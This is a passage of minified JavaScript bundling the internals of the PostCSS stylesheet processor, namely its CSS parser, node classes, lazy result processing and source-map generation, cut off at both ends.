n(">")+r(i)+e+"\n "+t+n("^")}return" "+r(i)+e})).join("\n")}toString(){let e=this.showSourceCode();return e&&(e="\n\n"+e+"\n"),this.name+": "+this.message+e}}e.exports=r,r.default=r},4258:(e,t,n)=>{"use strict";let o=n(5631);class i extends o{constructor(e){e&&void 0!==e.value&&"string"!=typeof e.value&&(e={...e,value:String(e.value)}),super(e),this.type="decl"}get variable(){return this.prop.startsWith("--")||"$"===this.prop[0]}}e.exports=i,i.default=i},6461:(e,t,n)=>{"use strict";let o,i,r=n(1019);class l extends r{constructor(e){super({type:"document",...e}),this.nodes||(this.nodes=[])}toResult(e={}){return new o(new i,this,e).stringify()}}l.registerLazyResult=e=>{o=e},l.registerProcessor=e=>{i=e},e.exports=l,l.default=l},5995:(e,t,n)=>{"use strict";let{SourceMapConsumer:o,SourceMapGenerator:i}=n(209),{fileURLToPath:r,pathToFileURL:l}=n(7414),{resolve:s,isAbsolute:a}=n(9830),{nanoid:c}=n(2961),u=n(2868),d=n(2671),p=n(7981),h=Symbol("fromOffsetCache"),g=Boolean(o&&i),f=Boolean(s&&a);class m{constructor(e,t={}){if(null==e||"object"==typeof e&&!e.toString)throw new Error(`PostCSS received ${e} instead of CSS string`);if(this.css=e.toString(),"\ufeff"===this.css[0]||""===this.css[0]?(this.hasBOM=!0,this.css=this.css.slice(1)):this.hasBOM=!1,t.from&&(!f||/^\w+:\/\//.test(t.from)||a(t.from)?this.file=t.from:this.file=s(t.from)),f&&g){let e=new p(this.css,t);if(e.text){this.map=e;let t=e.consumer().file;!this.file&&t&&(this.file=this.mapResolve(t))}}this.file||(this.id="<input css "+c(6)+">"),this.map&&(this.map.file=this.from)}fromOffset(e){let t,n;if(this[h])n=this[h];else{let e=this.css.split("\n");n=new Array(e.length);let t=0;for(let o=0,i=e.length;o<i;o++)n[o]=t,t+=e[o].length+1;this[h]=n}t=n[n.length-1];let o=0;if(e>=t)o=n.length-1;else{let t,i=n.length-2;for(;o<i;)if(t=o+(i-o>>1),e<n[t])i=t-1;else{if(!(e>=n[t+1])){o=t;break}o=t+1}}return{line:o+1,col:e-n[o]+1}}error(e,t,n,o={}){let i,r,s;if(t&&"object"==typeof t){let e=t,o=n;if("number"==typeof t.offset){let o=this.fromOffset(e.offset);t=o.line,n=o.col}else t=e.line,n=e.column;if("number"==typeof o.offset){let e=this.fromOffset(o.offset);r=e.line,s=e.col}else r=o.line,s=o.column}else if(!n){let e=this.fromOffset(t);t=e.line,n=e.col}let a=this.origin(t,n,r,s);return i=a?new d(e,void 0===a.endLine?a.line:{line:a.line,column:a.column},void 0===a.endLine?a.column:{line:a.endLine,column:a.endColumn},a.source,a.file,o.plugin):new d(e,void 0===r?t:{line:t,column:n},void 0===r?n:{line:r,column:s},this.css,this.file,o.plugin),i.input={line:t,column:n,endLine:r,endColumn:s,source:this.css},this.file&&(l&&(i.input.url=l(this.file).toString()),i.input.file=this.file),i}origin(e,t,n,o){if(!this.map)return!1;let i,s,c=this.map.consumer(),u=c.originalPositionFor({line:e,column:t});if(!u.source)return!1;"number"==typeof n&&(i=c.originalPositionFor({line:n,column:o})),s=a(u.source)?l(u.source):new URL(u.source,this.map.consumer().sourceRoot||l(this.map.mapFile));let d={url:s.toString(),line:u.line,column:u.column,endLine:i&&i.line,endColumn:i&&i.column};if("file:"===s.protocol){if(!r)throw new Error("file: protocol is not available in this PostCSS build");d.file=r(s)}let p=c.sourceContentFor(u.source);return p&&(d.source=p),d}mapResolve(e){return/^\w+:\/\//.test(e)?e:s(this.map.consumer().sourceRoot||this.map.root||".",e)}get from(){return this.file||this.id}toJSON(){let e={};for(let t of["hasBOM","css","file","id"])null!=this[t]&&(e[t]=this[t]);return this.map&&(e.map={...this.map},e.map.consumerCache&&(e.map.consumerCache=void 0)),e}}e.exports=m,m.default=m,u&&u.registerInput&&u.registerInput(m)},1939:(e,t,n)=>{"use strict";let{isClean:o,my:i}=n(5513),r=n(8505),l=n(7088),s=n(1019),a=n(6461),c=(n(2448),n(3632)),u=n(6939),d=n(1025);const p={document:"Document",root:"Root",atrule:"AtRule",rule:"Rule",decl:"Declaration",comment:"Comment"},h={postcssPlugin:!0,prepare:!0,Once:!0,Document:!0,Root:!0,Declaration:!0,Rule:!0,AtRule:!0,Comment:!0,DeclarationExit:!0,RuleExit:!0,AtRuleExit:!0,CommentExit:!0,RootExit:!0,DocumentExit:!0,OnceExit:!0},g={postcssPlugin:!0,prepare:!0,Once:!0},f=0;function m(e){return"object"==typeof e&&"function"==typeof e.then}function v(e){let t=!1,n=p[e.type];return"decl"===e.type?t=e.prop.toLowerCase():"atrule"===e.type&&(t=e.name.toLowerCase()),t&&e.append?[n,n+"-"+t,f,n+"Exit",n+"Exit-"+t]:t?[n,n+"-"+t,n+"Exit",n+"Exit-"+t]:e.append?[n,f,n+"Exit"]:[n,n+"Exit"]}function b(e){let t;return t="document"===e.type?["Document",f,"DocumentExit"]:"root"===e.type?["Root",f,"RootExit"]:v(e),{node:e,events:t,eventIndex:0,visitors:[],visitorIndex:0,iterator:0}}function k(e){return e[o]=!1,e.nodes&&e.nodes.forEach((e=>k(e))),e}let _={};class y{constructor(e,t,n){let o;if(this.stringified=!1,this.processed=!1,"object"!=typeof t||null===t||"root"!==t.type&&"document"!==t.type)if(t instanceof y||t instanceof c)o=k(t.root),t.map&&(void 0===n.map&&(n.map={}),n.map.inline||(n.map.inline=!1),n.map.prev=t.map);else{let e=u;n.syntax&&(e=n.syntax.parse),n.parser&&(e=n.parser),e.parse&&(e=e.parse);try{o=e(t,n)}catch(e){this.processed=!0,this.error=e}o&&!o[i]&&s.rebuild(o)}else o=k(t);this.result=new c(e,o,n),this.helpers={..._,result:this.result,postcss:_},this.plugins=this.processor.plugins.map((e=>"object"==typeof e&&e.prepare?{...e,...e.prepare(this.result)}:e))}get[Symbol.toStringTag](){return"LazyResult"}get processor(){return this.result.processor}get opts(){return this.result.opts}get css(){return this.stringify().css}get content(){return this.stringify().content}get map(){return this.stringify().map}get root(){return this.sync().root}get messages(){return this.sync().messages}warnings(){return this.sync().warnings()}toString(){return this.css}then(e,t){return this.async().then(e,t)}catch(e){return this.async().catch(e)}finally(e){return this.async().then(e,e)}async(){return this.error?Promise.reject(this.error):this.processed?Promise.resolve(this.result):(this.processing||(this.processing=this.runAsync()),this.processing)}sync(){if(this.error)throw this.error;if(this.processed)return this.result;if(this.processed=!0,this.processing)throw this.getAsyncError();for(let e of this.plugins)if(m(this.runOnRoot(e)))throw this.getAsyncError();if(this.prepareVisitors(),this.hasListener){let e=this.result.root;for(;!e[o];)e[o]=!0,this.walkSync(e);if(this.listeners.OnceExit)if("document"===e.type)for(let t of e.nodes)this.visitSync(this.listeners.OnceExit,t);else this.visitSync(this.listeners.OnceExit,e)}return this.result}stringify(){if(this.error)throw this.error;if(this.stringified)return this.result;this.stringified=!0,this.sync();let e=this.result.opts,t=l;e.syntax&&(t=e.syntax.stringify),e.stringifier&&(t=e.stringifier),t.stringify&&(t=t.stringify);let n=new r(t,this.result.root,this.result.opts).generate();return this.result.css=n[0],this.result.map=n[1],this.result}walkSync(e){e[o]=!0;let t=v(e);for(let n of t)if(n===f)e.nodes&&e.each((e=>{e[o]||this.walkSync(e)}));else{let t=this.listeners[n];if(t&&this.visitSync(t,e.toProxy()))return}}visitSync(e,t){for(let[n,o]of e){let e;this.result.lastPlugin=n;try{e=o(t,this.helpers)}catch(e){throw this.handleError(e,t.proxyOf)}if("root"!==t.type&&"document"!==t.type&&!t.parent)return!0;if(m(e))throw this.getAsyncError()}}runOnRoot(e){this.result.lastPlugin=e;try{if("object"==typeof e&&e.Once){if("document"===this.result.root.type){let t=this.result.root.nodes.map((t=>e.Once(t,this.helpers)));return m(t[0])?Promise.all(t):t}return e.Once(this.result.root,this.helpers)}if("function"==typeof e)return e(this.result.root,this.result)}catch(e){throw this.handleError(e)}}getAsyncError(){throw new Error("Use process(css).then(cb) to work with async plugins")}handleError(e,t){let n=this.result.lastPlugin;try{t&&t.addToError(e),this.error=e,"CssSyntaxError"!==e.name||e.plugin?n.postcssVersion:(e.plugin=n.postcssPlugin,e.setMessage())}catch(e){console&&console.error&&console.error(e)}return e}async runAsync(){this.plugin=0;for(let e=0;e<this.plugins.length;e++){let t=this.plugins[e],n=this.runOnRoot(t);if(m(n))try{await n}catch(e){throw this.handleError(e)}}if(this.prepareVisitors(),this.hasListener){let e=this.result.root;for(;!e[o];){e[o]=!0;let t=[b(e)];for(;t.length>0;){let e=this.visitTick(t);if(m(e))try{await e}catch(e){let n=t[t.length-1].node;throw this.handleError(e,n)}}}if(this.listeners.OnceExit)for(let[t,n]of this.listeners.OnceExit){this.result.lastPlugin=t;try{if("document"===e.type){let t=e.nodes.map((e=>n(e,this.helpers)));await Promise.all(t)}else await n(e,this.helpers)}catch(e){throw this.handleError(e)}}}return this.processed=!0,this.stringify()}prepareVisitors(){this.listeners={};let e=(e,t,n)=>{this.listeners[t]||(this.listeners[t]=[]),this.listeners[t].push([e,n])};for(let t of this.plugins)if("object"==typeof t)for(let n in t){if(!h[n]&&/^[A-Z]/.test(n))throw new Error(`Unknown event ${n} in ${t.postcssPlugin}. Try to update PostCSS (${this.processor.version} now).`);if(!g[n])if("object"==typeof t[n])for(let o in t[n])e(t,"*"===o?n:n+"-"+o.toLowerCase(),t[n][o]);else"function"==typeof t[n]&&e(t,n,t[n])}this.hasListener=Object.keys(this.listeners).length>0}visitTick(e){let t=e[e.length-1],{node:n,visitors:i}=t;if("root"!==n.type&&"document"!==n.type&&!n.parent)return void e.pop();if(i.length>0&&t.visitorIndex<i.length){let[e,o]=i[t.visitorIndex];t.visitorIndex+=1,t.visitorIndex===i.length&&(t.visitors=[],t.visitorIndex=0),this.result.lastPlugin=e;try{return o(n.toProxy(),this.helpers)}catch(e){throw this.handleError(e,n)}}if(0!==t.iterator){let i,r=t.iterator;for(;i=n.nodes[n.indexes[r]];)if(n.indexes[r]+=1,!i[o])return i[o]=!0,void e.push(b(i));t.iterator=0,delete n.indexes[r]}let r=t.events;for(;t.eventIndex<r.length;){let e=r[t.eventIndex];if(t.eventIndex+=1,e===f)return void(n.nodes&&n.nodes.length&&(n[o]=!0,t.iterator=n.getIterator()));if(this.listeners[e])return void(t.visitors=this.listeners[e])}e.pop()}}y.registerPostcss=e=>{_=e},e.exports=y,y.default=y,d.registerLazyResult(y),a.registerLazyResult(y)},4715:e=>{"use strict";let t={split(e,t,n){let o=[],i="",r=!1,l=0,s=!1,a=!1;for(let n of e)a?a=!1:"\\"===n?a=!0:s?n===s&&(s=!1):'"'===n||"'"===n?s=n:"("===n?l+=1:")"===n?l>0&&(l-=1):0===l&&t.includes(n)&&(r=!0),r?(""!==i&&o.push(i.trim()),i="",r=!1):i+=n;return(n||""!==i)&&o.push(i.trim()),o},space:e=>t.split(e,[" ","\n","\t"]),comma:e=>t.split(e,[","],!0)};e.exports=t,t.default=t},8505:(e,t,n)=>{"use strict";let{SourceMapConsumer:o,SourceMapGenerator:i}=n(209),{dirname:r,resolve:l,relative:s,sep:a}=n(9830),{pathToFileURL:c}=n(7414),u=n(5995),d=Boolean(o&&i),p=Boolean(r&&l&&s&&a);e.exports=class{constructor(e,t,n,o){this.stringify=e,this.mapOpts=n.map||{},this.root=t,this.opts=n,this.css=o}isMap(){return void 0!==this.opts.map?!!this.opts.map:this.previous().length>0}previous(){if(!this.previousMaps)if(this.previousMaps=[],this.root)this.root.walk((e=>{if(e.source&&e.source.input.map){let t=e.source.input.map;this.previousMaps.includes(t)||this.previousMaps.push(t)}}));else{let e=new u(this.css,this.opts);e.map&&this.previousMaps.push(e.map)}return this.previousMaps}isInline(){if(void 0!==this.mapOpts.inline)return this.mapOpts.inline;let e=this.mapOpts.annotation;return(void 0===e||!0===e)&&(!this.previous().length||this.previous().some((e=>e.inline)))}isSourcesContent(){return void 0!==this.mapOpts.sourcesContent?this.mapOpts.sourcesContent:!this.previous().length||this.previous().some((e=>e.withContent()))}clearAnnotation(){if(!1!==this.mapOpts.annotation)if(this.root){let e;for(let t=this.root.nodes.length-1;t>=0;t--)e=this.root.nodes[t],"comment"===e.type&&0===e.text.indexOf("# sourceMappingURL=")&&this.root.removeChild(t)}else this.css&&(this.css=this.css.replace(/(\n)?\/\*#[\S\s]*?\*\/$/gm,""))}setSourcesContent(){let e={};if(this.root)this.root.walk((t=>{if(t.source){let n=t.source.input.from;n&&!e[n]&&(e[n]=!0,this.map.setSourceContent(this.toUrl(this.path(n)),t.source.input.css))}}));else if(this.css){let e=this.opts.from?this.toUrl(this.path(this.opts.from)):"<no source>";this.map.setSourceContent(e,this.css)}}applyPrevMaps(){for(let e of this.previous()){let t,n=this.toUrl(this.path(e.file)),i=e.root||r(e.file);!1===this.mapOpts.sourcesContent?(t=new o(e.text),t.sourcesContent&&(t.sourcesContent=t.sourcesContent.map((()=>null)))):t=e.consumer(),this.map.applySourceMap(t,n,this.toUrl(this.path(i)))}}isAnnotation(){return!!this.isInline()||(void 0!==this.mapOpts.annotation?this.mapOpts.annotation:!this.previous().length||this.previous().some((e=>e.annotation)))}toBase64(e){return Buffer?Buffer.from(e).toString("base64"):window.btoa(unescape(encodeURIComponent(e)))}addAnnotation(){let e;e=this.isInline()?"data:application/json;base64,"+this.toBase64(this.map.toString()):"string"==typeof this.mapOpts.annotation?this.mapOpts.annotation:"function"==typeof this.mapOpts.annotation?this.mapOpts.annotation(this.opts.to,this.root):this.outputFile()+".map";let t="\n";this.css.includes("\r\n")&&(t="\r\n"),this.css+=t+"/*# sourceMappingURL="+e+" */"}outputFile(){return this.opts.to?this.path(this.opts.to):this.opts.from?this.path(this.opts.from):"to.css"}generateMap(){if(this.root)this.generateString();else if(1===this.previous().length){let e=this.previous()[0].consumer();e.file=this.outputFile(),this.map=i.fromSourceMap(e)}else this.map=new i({file:this.outputFile()}),this.map.addMapping({source:this.opts.from?this.toUrl(this.path(this.opts.from)):"<no source>",generated:{line:1,column:0},original:{line:1,column:0}});return this.isSourcesContent()&&this.setSourcesContent(),this.root&&this.previous().length>0&&this.applyPrevMaps(),this.isAnnotation()&&this.addAnnotation(),this.isInline()?[this.css]:[this.css,this.map]}path(e){if(0===e.indexOf("<"))return e;if(/^\w+:\/\//.test(e))return e;if(this.mapOpts.absolute)return e;let t=this.opts.to?r(this.opts.to):".";return"string"==typeof this.mapOpts.annotation&&(t=r(l(t,this.mapOpts.annotation))),s(t,e)}toUrl(e){return"\\"===a&&(e=e.replace(/\\/g,"/")),encodeURI(e).replace(/[#?]/g,encodeURIComponent)}sourcePath(e){if(this.mapOpts.from)return this.toUrl(this.mapOpts.from);if(this.mapOpts.absolute){if(c)return c(e.source.input.from).toString();throw new Error("`map.absolute` option is not available in this PostCSS build")}return this.toUrl(this.path(e.source.input.from))}generateString(){this.css="",this.map=new i({file:this.outputFile()});let e,t,n=1,o=1,r="<no source>",l={source:"",generated:{line:0,column:0},original:{line:0,column:0}};this.stringify(this.root,((i,s,a)=>{if(this.css+=i,s&&"end"!==a&&(l.generated.line=n,l.generated.column=o-1,s.source&&s.source.start?(l.source=this.sourcePath(s),l.original.line=s.source.start.line,l.original.column=s.source.start.column-1,this.map.addMapping(l)):(l.source=r,l.original.line=1,l.original.column=0,this.map.addMapping(l))),e=i.match(/\n/g),e?(n+=e.length,t=i.lastIndexOf("\n"),o=i.length-t):o+=i.length,s&&"start"!==a){let e=s.parent||{raws:{}};("decl"!==s.type||s!==e.last||e.raws.semicolon)&&(s.source&&s.source.end?(l.source=this.sourcePath(s),l.original.line=s.source.end.line,l.original.column=s.source.end.column-1,l.generated.line=n,l.generated.column=o-2,this.map.addMapping(l)):(l.source=r,l.original.line=1,l.original.column=0,l.generated.line=n,l.generated.column=o-1,this.map.addMapping(l)))}}))}generate(){if(this.clearAnnotation(),p&&d&&this.isMap())return this.generateMap();{let e="";return this.stringify(this.root,(t=>{e+=t})),[e]}}}},7647:(e,t,n)=>{"use strict";let o=n(8505),i=n(7088),r=(n(2448),n(6939));const l=n(3632);class s{constructor(e,t,n){let r;t=t.toString(),this.stringified=!1,this._processor=e,this._css=t,this._opts=n,this._map=void 0;let s=i;this.result=new l(this._processor,r,this._opts),this.result.css=t;let a=this;Object.defineProperty(this.result,"root",{get:()=>a.root});let c=new o(s,r,this._opts,t);if(c.isMap()){let[e,t]=c.generate();e&&(this.result.css=e),t&&(this.result.map=t)}}get[Symbol.toStringTag](){return"NoWorkResult"}get processor(){return this.result.processor}get opts(){return this.result.opts}get css(){return this.result.css}get content(){return this.result.css}get map(){return this.result.map}get root(){if(this._root)return this._root;let e,t=r;try{e=t(this._css,this._opts)}catch(e){this.error=e}if(this.error)throw this.error;return this._root=e,e}get messages(){return[]}warnings(){return[]}toString(){return this._css}then(e,t){return this.async().then(e,t)}catch(e){return this.async().catch(e)}finally(e){return this.async().then(e,e)}async(){return this.error?Promise.reject(this.error):Promise.resolve(this.result)}sync(){if(this.error)throw this.error;return this.result}}e.exports=s,s.default=s},5631:(e,t,n)=>{"use strict";let{isClean:o,my:i}=n(5513),r=n(2671),l=n(1062),s=n(7088);function a(e,t){let n=new e.constructor;for(let o in e){if(!Object.prototype.hasOwnProperty.call(e,o))continue;if("proxyCache"===o)continue;let i=e[o],r=typeof i;"parent"===o&&"object"===r?t&&(n[o]=t):"source"===o?n[o]=i:Array.isArray(i)?n[o]=i.map((e=>a(e,n))):("object"===r&&null!==i&&(i=a(i)),n[o]=i)}return n}class c{constructor(e={}){this.raws={},this[o]=!1,this[i]=!0;for(let t in e)if("nodes"===t){this.nodes=[];for(let n of e[t])"function"==typeof n.clone?this.append(n.clone()):this.append(n)}else this[t]=e[t]}error(e,t={}){if(this.source){let{start:n,end:o}=this.rangeBy(t);return this.source.input.error(e,{line:n.line,column:n.column},{line:o.line,column:o.column},t)}return new r(e)}warn(e,t,n){let o={node:this};for(let e in n)o[e]=n[e];return e.warn(t,o)}remove(){return this.parent&&this.parent.removeChild(this),this.parent=void 0,this}toString(e=s){e.stringify&&(e=e.stringify);let t="";return e(this,(e=>{t+=e})),t}assign(e={}){for(let t in e)this[t]=e[t];return this}clone(e={}){let t=a(this);for(let n in e)t[n]=e[n];return t}cloneBefore(e={}){let t=this.clone(e);return this.parent.insertBefore(this,t),t}cloneAfter(e={}){let t=this.clone(e);return this.parent.insertAfter(this,t),t}replaceWith(...e){if(this.parent){let t=this,n=!1;for(let o of e)o===this?n=!0:n?(this.parent.insertAfter(t,o),t=o):this.parent.insertBefore(t,o);n||this.remove()}return this}next(){if(!this.parent)return;let e=this.parent.index(this);return this.parent.nodes[e+1]}prev(){if(!this.parent)return;let e=this.parent.index(this);return this.parent.nodes[e-1]}before(e){return this.parent.insertBefore(this,e),this}after(e){return this.parent.insertAfter(this,e),this}root(){let e=this;for(;e.parent&&"document"!==e.parent.type;)e=e.parent;return e}raw(e,t){return(new l).raw(this,e,t)}cleanRaws(e){delete this.raws.before,delete this.raws.after,e||delete this.raws.between}toJSON(e,t){let n={},o=null==t;t=t||new Map;let i=0;for(let e in this){if(!Object.prototype.hasOwnProperty.call(this,e))continue;if("parent"===e||"proxyCache"===e)continue;let o=this[e];if(Array.isArray(o))n[e]=o.map((e=>"object"==typeof e&&e.toJSON?e.toJSON(null,t):e));else if("object"==typeof o&&o.toJSON)n[e]=o.toJSON(null,t);else if("source"===e){let r=t.get(o.input);null==r&&(r=i,t.set(o.input,i),i++),n[e]={inputId:r,start:o.start,end:o.end}}else n[e]=o}return o&&(n.inputs=[...t.keys()].map((e=>e.toJSON()))),n}positionInside(e){let t=this.toString(),n=this.source.start.column,o=this.source.start.line;for(let i=0;i<e;i++)"\n"===t[i]?(n=1,o+=1):n+=1;return{line:o,column:n}}positionBy(e){let t=this.source.start;if(e.index)t=this.positionInside(e.index);else if(e.word){let n=this.toString().indexOf(e.word);-1!==n&&(t=this.positionInside(n))}return t}rangeBy(e){let t={line:this.source.start.line,column:this.source.start.column},n=this.source.end?{line:this.source.end.line,column:this.source.end.column+1}:{line:t.line,column:t.column+1};if(e.word){let o=this.toString().indexOf(e.word);-1!==o&&(t=this.positionInside(o),n=this.positionInside(o+e.word.length))}else e.start?t={line:e.start.line,column:e.start.column}:e.index&&(t=this.positionInside(e.index)),e.end?n={line:e.end.line,column:e.end.column}:e.endIndex?n=this.positionInside(e.endIndex):e.index&&(n=this.positionInside(e.index+1));return(n.line<t.line||n.line===t.line&&n.column<=t.column)&&(n={line:t.line,column:t.column+1}),{start:t,end:n}}getProxyProcessor(){return{set:(e,t,n)=>(e[t]===n||(e[t]=n,"prop"!==t&&"value"!==t&&"name"!==t&&"params"!==t&&"important"!==t&&"text"!==t||e.markDirty()),!0),get:(e,t)=>"proxyOf"===t?e:"root"===t?()=>e.root().toProxy():e[t]}}toProxy(){return this.proxyCache||(this.proxyCache=new Proxy(this,this.getProxyProcessor())),this.proxyCache}addToError(e){if(e.postcssNode=this,e.stack&&this.source&&/\n\s{4}at /.test(e.stack)){let t=this.source;e.stack=e.stack.replace(/\n\s{4}at /,`$&${t.input.from}:${t.start.line}:${t.start.column}$&`)}return e}markDirty(){if(this[o]){this[o]=!1;let e=this;for(;e=e.parent;)e[o]=!1}}get proxyOf(){return this}}e.exports=c,c.default=c},6939:(e,t,n)=>{"use strict";let o=n(1019),i=n(8867),r=n(5995);function l(e,t){let n=new r(e,t),o=new i(n);try{o.parse()}catch(e){throw e}return o.root}e.exports=l,l.default=l,o.registerParse(l)},8867:(e,t,n)=>{"use strict";let o=n(4258),i=n(3852),r=n(9932),l=n(1353),s=n(1025),a=n(1675);const c={empty:!0,space:!0};e.exports=class{constructor(e){this.input=e,this.root=new s,this.current=this.root,this.spaces="",this.semicolon=!1,this.customProperty=!1,this.createTokenizer(),this.root.source={input:e,start:{offset:0,line:1,column:1}}}createTokenizer(){this.tokenizer=i(this.input)}parse(){let e;for(;!this.tokenizer.endOfFile();)switch(e=this.tokenizer.nextToken(),e[0]){case"space":this.spaces+=e[1];break;case";":this.freeSemicolon(e);break;case"}":this.end(e);break;case"comment":this.comment(e);break;case"at-word":this.atrule(e);break;case"{":this.emptyRule(e);break;default:this.other(e)}this.endFile()}comment(e){let t=new r;this.init(t,e[2]),t.source.end=this.getPosition(e[3]||e[2]);let n=e[1].slice(2,-2);if(/^\s*$/.test(n))t.text="",t.raws.left=n,t.raws.right="";else{let e=n.match(/^(\s*)([^]*\S)(\s*)$/);t.text=e[2],t.raws.left=e[1],t.raws.right=e[3]}}emptyRule(e){let t=new a;this.init(t,e[2]),t.selector="",t.raws.between="",this.current=t}other(e){let t=!1,n=null,o=!1,i=null,r=[],l=e[1].startsWith("--"),s=[],a=e;for(;a;){if(n=a[0],s.push(a),"("===n||"["===n)i||(i=a),r.push("("===n?")":"]");else if(l&&o&&"{"===n)i||(i=a),r.push("}");else if(0===r.length){if(";"===n){if(o)return void this.decl(s,l);break}if("{"===n)return void this.rule(s);if("}"===n){this.tokenizer.back(s.pop()),t=!0;break}":"===n&&(o=!0)}else n===r[r.length-1]&&(r.pop(),0===r.length&&(i=null));a=this.tokenizer.nextToken()}if(this.tokenizer.endOfFile()&&(t=!0),r.length>0&&this.unclosedBracket(i),t&&o){if(!l)for(;s.length&&(a=s[s.length-1][0],"space"===a||"comment"===a);)this.tokenizer.back(s.pop());this.decl(s,l)}else this.unknownWord(s)}rule(e){e.pop();let t=new a;this.init(t,e[0][2]),t.raws.between=this.spacesAndCommentsFromEnd(e),this.raw(t,"selector",e),this.current=t}decl(e,t){let n=new o;this.init(n,e[0][2]);let i,r=e[e.length-1];for(";"===r[0]&&(this.semicolon=!0,e.pop()),n.source.end=this.getPosition(r[3]||r[2]||function(e){for(let t=e.length-1;t>=0;t--){let n=e[t],o=n[3]||n[2];if(o)return o}}(e));"word"!==e[0][0];)1===e.length&&this.unknownWord(e),n.raws.before+=e.shift()[1];for(n.source.start=this.getPosition(e[0][2]),n.prop="";e.length;){let t=e[0][0];if(":"===t||"space"===t||"comment"===t)break;n.prop+=e.shift()[1]}for(n.raws.between="";e.length;){if(i=e.shift(),":"===i[0]){n.raws.between+=i[1];break}"word"===i[0]&&/\w/.test(i[1])&&this.unknownWord([i]),n.raws.between+=i[1]}"_"!==n.prop[0]&&"*"!==n.prop[0]||(n.raws.before+=n.prop[0],n.prop=n.prop.slice(1));let l,s=[];for(;e.length&&(l=e[0][0],"space"===l||"comment"===l);)s.push(e.shift());this.precheckMissedSemicolon(e);for(let t=e.length-1;t>=0;t--){if(i=e[t],"!important"===i[1].toLowerCase()){n.important=!0;let o=this.stringFrom(e,t);o=this.spacesFromEnd(e)+o," !important"!==o&&(n.raws.important=o);break}if("important"===i[1].toLowerCase()){let o=e.slice(0),i="";for(let e=t;e>0;e--){let t=o[e][0];if(0===i.trim().indexOf("!")&&"space"!==t)break;i=o.pop()[1]+i}0===i.trim().indexOf("!")&&(n.important=!0,n.raws.important=i,e=o)}if("space"!==i[0]&&"comment"!==i[0])break}e.some((e=>"space"!==e[0]&&"comment"!==e[0]))&&(n.raws.between+=s.map((e=>e[1])).join(""),s=[]),this.raw(n,"value",s.concat(e),t),n.value.includes(":")&&!t&&this.checkMissedSemicolon(e)}atrule(e){let t,n,o,i=new l;i.name=e[1].slice(1),""===i.name&&this.unnamedAtrule(i,e),this.init(i,e[2]);let r=!1,s=!1,a=[],c=[];for(;!this.tokenizer.endOfFile();){if(t=(e=this.tokenizer.nextToken())[0],"("===t||"["===t?c.push("("===t?")":"]"):"{"===t&&c.length>0?c.push("}"):t===c[c.length-1]&&c.pop(),0===c.length){if(";"===t){i.source.end=this.getPosition(e[2]),this.semicolon=!0;break}if("{"===t){s=!0;break}if("}"===t){if(a.length>0){for(o=a.length-1,n=a[o];n&&"space"===n[0];)n=a[--o];n&&(i.source.end=this.getPosition(n[3]||n[2]))}this.end(e);break}a.push(e)}else a.push(e);if(this.tokenizer.endOfFile()){r=!0;break}}i.raws.between=this.spacesAndCommentsFromEnd(a),a.length?(i.raws.afterName=this.spacesAndCommentsFromStart(a),this.raw(i,"params",a),r&&(e=a[a.length-1],i.source.end=this.getPosition(e[3]||e[2]),this.spaces=i.raws.between,i.raws.between="")):(i.raws.afterName="",i.params=""),s&&(i.nodes=[],this.current=i)}end(e){this.current.nodes&&this.current.nodes.length&&(this.current.raws.semicolon=this.semicolon),this.semicolon=!1,this.current.raws.after=(this.current.raws.after||"")+this.spaces,this.spaces="",this.current.parent?(this.current.source.end=this.getPosition(e[2]),this.current=this.current.parent):this.unexpectedClose(e)}endFile(){this.current.parent&&this.unclosedBlock(),this.current.nodes&&this.current.nodes.length&&(this.current.raws.semicolon=this.semicolon),this.current.raws.after=(this.current.raws.after||"")+this.spaces}freeSemicolon(e){if(this.spaces+=e[1],this.current.nodes){let e=this.current.nodes[this.current.nodes.length-1];e&&"rule"===e.type&&!e.raws.ownSemicolon&&(e.raws.ownSemicolon=this.spaces,this.spaces="")}}getPosition(e){let t=this.input.fromOffset(e);return{offset:e,line:t.line,column:t.col}}init(e,t){this.current.push(e),e.source={start:this.getPosition(t),input:this.input},e.raws.before=this.spaces,this.spaces="","comment"!==e.type&&(this.semicolon=!1)}raw(e,t,n,o){let i,r,l,s,a=n.length,u="",d=!0;for(let e=0;e<a;e+=1)i=n[e],r=i[0],"space"!==r||e!==a-1||o?"comment"===r?(s=n[e-1]?n[e-1][0]:"empty",l=n[e+1]?n[e+1][0]:"empty",c[s]||c[l]||","===u.slice(-1)?d=!1:u+=i[1]):u+=i[1]:d=!1;if(!d){let o=n.reduce(((e,t)=>e+t[1]),"");e.raws[t]={value:u,raw:o}}e[t]=u}spacesAndCommentsFromEnd(e){let t,n="";for(;e.length&&(t=e[e.length-1][0],"space"===t||"comment"===t);)n=e.pop()[1]+n;return n}spacesAndCommentsFromStart(e){let t,n="";for(;e.length&&(t=e[0][0],"space"===t||"comment"===t);)n+=e.shift()[1];return n}spacesFromEnd(e){let t,n="";for(;e.length&&(t=e[e.length-1][0],"space"===t);)n=e.pop()[1]+n;return n}stringFrom(e,t){let n="";for(let o=t;o<e.length;o++)n+=e[o][1];return e.splice(t,e.length-t),n}colon(e){let t,n,o,i=0;for(let[r,l]of e.entries()){if(t=l,n=t[0],"("===n&&(i+=1),")"===n&&(i-=1),0===i&&":"===n){if(o){if("word"===o[0]&&"progid"===o[1])continue;return r}this.doubleColon(t)}o=t}return!1}unclosedBracket(e){throw this.input.error("Unclosed bracket",{offset:e[2]},{offset:e[2]+1})}unknownWord(e){throw this.input.error("Unknown word",{offset:e[0][2]},{offset:e[0][2]+e[0][1].length})}unexpectedClose(e){throw this.input.error("Unexpected }",{offset:e[2]},{offset:e[2]+1})}unclosedBlock(){let e=this.current.source.start;throw this.input.error("Unclosed block",e.line,e.column)}doubleColon(e){throw this.input.error("Double colon",{offset:e[2]},{offset:e[2]+e[1].length})}unnamedAtrule(e,t){throw this.input.error("At-rule without name",{offset:t[2]},{offset:t[2]+t[1].length})}precheckMissedSemicolon(){}checkMissedSemicolon(e){let t=this.colon(e);if(!1===t)return;let n,o=0;for(let i=t-1;i>=0&&(n=e[i],"space"===n[0]||(o+=1,2!==o));i--);throw this.input.error("Missed semicolon","word"===n[0]?n[3]+1:n[2])}}},7981:(e,t,n)=>{"use strict";let{SourceMapConsumer:o,SourceMapGenerator:i}=n(209),{existsSync:r,readFileSync:l}=n(4777),{dirname:s,join:a}=n(9830);class c{constructor(e,t){if(!1===t.map)return;this.loadAnnotation(e),this.inline=this.startWith(this.annotation,"data:");let n=t.map?t.map.prev:void 0,o=this.loadMap(t.from,n);!this.mapFile&&t.from&&(this.mapFile=t.from),this.mapFile&&(this.root=s(this.mapFile)),o&&(this.text=o)}consumer(){return this.consumerCache||(this.consumerCache=new 